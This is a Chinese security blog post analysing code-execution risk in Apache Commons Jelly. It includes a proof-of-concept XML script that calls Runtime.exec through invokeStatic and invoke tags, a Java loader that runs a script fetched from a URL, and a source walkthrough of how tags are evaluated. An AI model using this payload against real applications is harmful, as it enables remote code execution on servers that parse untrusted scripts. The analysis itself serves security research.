Apache Common Jelly浅析

7 分钟

Commons-jelly

Jelly

Apache Commons Jelly是一个基于 Java 的轻量级脚本引擎和模板引擎,主要用于解析和执行 XML 格式的脚本。它是 Apache Commons 项目的一部分,旨在提供一种简单的方式来在 Java 应用程序中嵌入脚本逻辑,类似于其它模板模板引擎如Apache VelocityFreemarker,但是从Jelly官方文档定义的标签中不难看出,它将JSTL、Velocity, Ant等表达式语言借鉴到了一起。正如其它的模板引擎一样,因为支持动态解析的特性,因此在使用时需要严格限制输入的动态数据

image-20241209161018951

常见语法

  • <j:out>:将文本或表达式输出到标准输出或指定的输出流。

  • <j:if>:条件判断标签,如果条件为 true,则执行子标签。

  • <j:elseif><j:else>:在 <j:if> 中用于扩展条件判断。

  • <j:for>:循环标签,用于遍历数组或集合。

  • <j:while>:循环标签,用于在给定条件为 true 时反复执行。

  • <j:break>:用于跳出循环。

  • <j:continue>:用于跳过当前循环的剩余部分,进入下次循环。

  • <j:set>:设置变量的值。

  • <j:get>:获取变量的值。

  • <j:include>:将其他 Jelly 脚本包含到当前脚本中。

  • <j:include>:与<j:when>等多条件选择结构

  • ${expression}:在标签中使用表达式来动态计算值。

  • <j:eval>:评估和执行给定的表达式或代码块。

  • <j:script>:在 Jelly 脚本中嵌入脚本代码。

  • <j:printf>:格式化输出,类似于 Java 的 System.out.printf()

  • <j:dynamicTag>:动态标签,可以在运行时动态定义和创建标签。

  • <j:invoke>:调用方法或执行操作的标签。

  • <j:invokeStatic>:调用静态方法的标签。

  • <j:useBean>:创建和使用 Java Bean 的标签。

  • <j:try><j:catch>:用于异常处理的标签块。

  • <j:finally>:用于定义在 trycatch 块结束时执行的代码。

  • <j:case>:在 switch 结构中使用的标签。

  • <j:switch>:实现 switch 语句的标签。

  • <ant:task>:与 Apache Ant 集成的标签,用于执行 Ant 任务。

  • <ant:property>:设置或获取 Ant 属性。

  • <j:tagLibrary>:定义一个标签库,注册和使用自定义标签。

  • <j:foreach>:用于迭代集合或数组。

  • <j:while>:执行循环,直到条件不成立。

  • <j:parse>:解析 XML 数据。

  • <j:transform>:应用 XSLT 转换。

  • <j:toXML>:将对象转换为 XML 格式。

部分用例如:

<j:set var="myVar" value="Hello World" />

<j:invoke on="${object}" method="methodName">
    <j:arg value="argumentValue" />
</j:invoke>

<j:new var="myObject" class="com.example.MyClass" />
<j:useBean id="beanId" class="com.example.BeanClass" />

<j:invokeStatic className="com.example.ClassName" method="staticMethodName">
    <j:arg value="argumentValue" />
</j:invokeStatic>

<j:choose>
    <j:when test="${condition1}">
    </j:when>
    <j:when test="${condition2}">
    </j:when>
    <j:otherwise>
    </j:otherwise>
</j:choose>

代码分析

从以上的标签不难看出,jelly能使用的标签语法非常丰富,其中不乏有能调用方法动态new对象invoke直接调用某些方法等等危险度较高的标签,如以下:

<j:jelly xmlns:j="jelly:core" xmlns:util="jelly:util">
    <j:invokeStatic className="java.lang.Runtime" method="getRuntime" var="runtime" />
    <j:invoke on="${runtime}" method="exec">
        <j:arg value="calc" />
    </j:invoke>
</j:jelly>

XML文件通过invokeStatic调用了java.lang.Runtime.getRuntime()方法,并把它赋予了runtime变量,最后通过invoke方法调用了runtime变量中的exec方法,并通过arg标签传入参数为calc。注:调用的类、方法需为public修饰。

远程调用示例代码:

package com.example.demo.demos.web;

import org.apache.commons.jelly.JellyContext;
import org.apache.commons.jelly.JellyException;
import org.apache.commons.jelly.Script;
import org.apache.commons.jelly.XMLOutput;
import java.io.UnsupportedEncodingException;
public class jelly {
    public static void main(String[] args) throws JellyException, UnsupportedEncodingException {
        JellyContext context = new JellyContext();
        Script script = context.compileScript("http://127.0.0.1:8888/2.xml");
        script.run(context, XMLOutput.createXMLOutput(System.out));
    }
}

以下大致看下整个代码的调用流程和处理标签的时候,是怎么完成RCE的触发:

首先compileScript方法通过URL类获取流数据,最终将输入流转入parse方法中,通过getXMLReader().parse方法进行XML解析,会将元素名称脚本块内容命名空间上下文行号列号等信息解析为Script

    public Script compileScript(String uri) throws JellyException {
        XMLParser parser = this.getXMLParser();
        parser.setContext(this);
        InputStream in = this.getResourceAsStream(uri);
        if (in == null) {
            throw new JellyException("Could not find Jelly script: " + uri);
        } else {
            Script script = null;

            try {
                script = parser.parse(in);
            } catch (IOException var6) {
                throw new JellyException("Could not parse Jelly script", var6);
            } catch (SAXException var7) {
                throw new JellyException("Could not parse Jelly script", var7);
            }

            return script.compile();
        }
    }

        public Script parse(InputStream input) throws IOException, SAXException {
        this.ensureConfigured();
        this.fileName = this.getCurrentURI();
        this.getXMLReader().parse(new InputSource(input));
        return this.script;
    }

image-20241209171558455

Script类中包含了XML文本数据的关键信息,调用run方法进一步解析,主要关注点集中在expression.evaluateRecursetag.doTag(output)中。

    public void run(JellyContext context, XMLOutput output) throws JellyTagException {
        URL rootURL = context.getRootURL();
        URL currentURL = context.getCurrentURL();

        try {
            Tag tag = this.getTag(context);
            if (tag != null) {
                tag.setContext(context);
                this.setContextURLs(context);
                Iterator iter;
                Map.Entry entry;
                String name;
                Expression expression;
                Class type;
                if (tag instanceof DynaTag) {
                    DynaTag dynaTag = (DynaTag)tag;

                    Object value;
                    for(iter = this.attributes.entrySet().iterator(); iter.hasNext(); dynaTag.setAttribute(name, value)) {
                        entry = (Map.Entry)iter.next();
                        name = (String)entry.getKey();
                        expression = (Expression)entry.getValue();
                        Class type = dynaTag.getAttributeType(name);
                        type = null;
                        if (type != null && type.isAssignableFrom(class$org$apache$commons$jelly$expression$Expression == null ? (class$org$apache$commons$jelly$expression$Expression = class$("org.apache.commons.jelly.expression.Expression")) : class$org$apache$commons$jelly$expression$Expression) && !type.isAssignableFrom(class$java$lang$Object == null ? (class$java$lang$Object = class$("java.lang.Object")) : class$java$lang$Object)) {
                            value = expression;
                        } else {
                            value = expression.evaluateRecurse(context);
                        }
                    }
                } else {
                    DynaBean dynaBean = new ConvertingWrapDynaBean(tag);

                    Object value;
                    for(iter = this.attributes.entrySet().iterator(); iter.hasNext(); dynaBean.set(name, value)) {
                        entry = (Map.Entry)iter.next();
                        name = (String)entry.getKey();
                        expression = (Expression)entry.getValue();
                        DynaProperty property = dynaBean.getDynaClass().getDynaProperty(name);
                        if (property == null) {
                            throw new JellyException("This tag does not understand the '" + name + "' attribute");
                        }
                        type = property.getType();
                        value = null;
                        if (type.isAssignableFrom(class$org$apache$commons$jelly$expression$Expression == null ? (class$org$apache$commons$jelly$expression$Expression = class$("org.apache.commons.jelly.expression.Expression")) : class$org$apache$commons$jelly$expression$Expression) && !type.isAssignableFrom(class$java$lang$Object == null ? (class$java$lang$Object = class$("java.lang.Object")) : class$java$lang$Object)) {
                            value = expression;
                        } else {
                            value = expression.evaluateRecurse(context);
                        }
                    }
                }
                tag.doTag(output);
                if (output != null) {
                    output.flush();
                }
                return;
            }
        } finally {
            context.setRootURL(rootURL);
            context.setCurrentURL(currentURL);
        }

    }
  1. 上下文处理
    • 保存了当前上下文中的 rootURLcurrentURL,以便在方法执行完后恢复这些值。
    • 上下文 (JellyContext) 是 Jelly 执行时的核心,它维护标签解析时的变量和执行状态。
  2. 获取并初始化标签 (Tag)
    • 通过 this.getTag(context) 方法获取当前的标签对象。
    • 如果标签存在,设置其上下文并初始化它需要的属性。
  3. 动态标签处理 (DynaTag)
    • 检查标签是否是动态标签DynaTag ,如果是,则需要额外的Type处理
  4. 普通标签处理 (DynaBean)
    • 如果不是动态标签,则将标签包装为一个 DynaBean 对象,获取动态标签的属性DynaProperty
    • 如果属性有效,则调用expression.evaluateRecurse进行解析,并将解析的结果通过setAttribute赋值到dynaBean当中。
  5. 标签执行 (doTag)
    • 调用标签的 doTag 方法,通过doTag执行各自标签的对应逻辑,事实上就是进入不同的Tag类当中,执行不同的doTag方法。
    • 如果输出流 (XMLOutput) 不为空,执行完毕后刷新输出。

在解析完XML内容侯,会分标签节点进行遍历解析,首先遍历的标签是invokeStatic,会逐步对method、className、var三个属性进行处理,在获取到变量的类型为Java.lang.String后,会进入expression.evaluateRecurse(context)中。

image-20241209182331990

evaluateRecurse会调用evaluate方法,首先method方法会直接返回runtime,随后通过set方法放入到this.instance当中,因为三个类型最终都是Java.lang.String,所以流程都是一样的,取出key-value放入,因为key都是规定的,因此最终形成的invokeStatic如图。

    public Object evaluateRecurse(JellyContext context) {
        Object value = this.evaluate(context);
        if (value instanceof Expression) {
            Expression expression = (Expression)value;
            return expression.evaluateRecurse(context);
        } else {
            return value;
        }
    }
public class ConvertingWrapDynaBean extends WrapDynaBean {
    public ConvertingWrapDynaBean(Object instance) {
        super(instance);
    }

    public void set(String name, Object value) {
        try {
            BeanUtils.setProperty(this.instance, name, value);
        } catch (Throwable var4) {
            throw new IllegalArgumentException("Property '" + name + "' has no write method")…
~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:安全安全
文章标题:Apache Common Jelly浅析
文章链接:https://aiwin.net.cn/index.php/archives/4425/
最后编辑:2025 年 5 月 6 日 20:54 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 8 + 7 =
快来做第一个评论的人吧~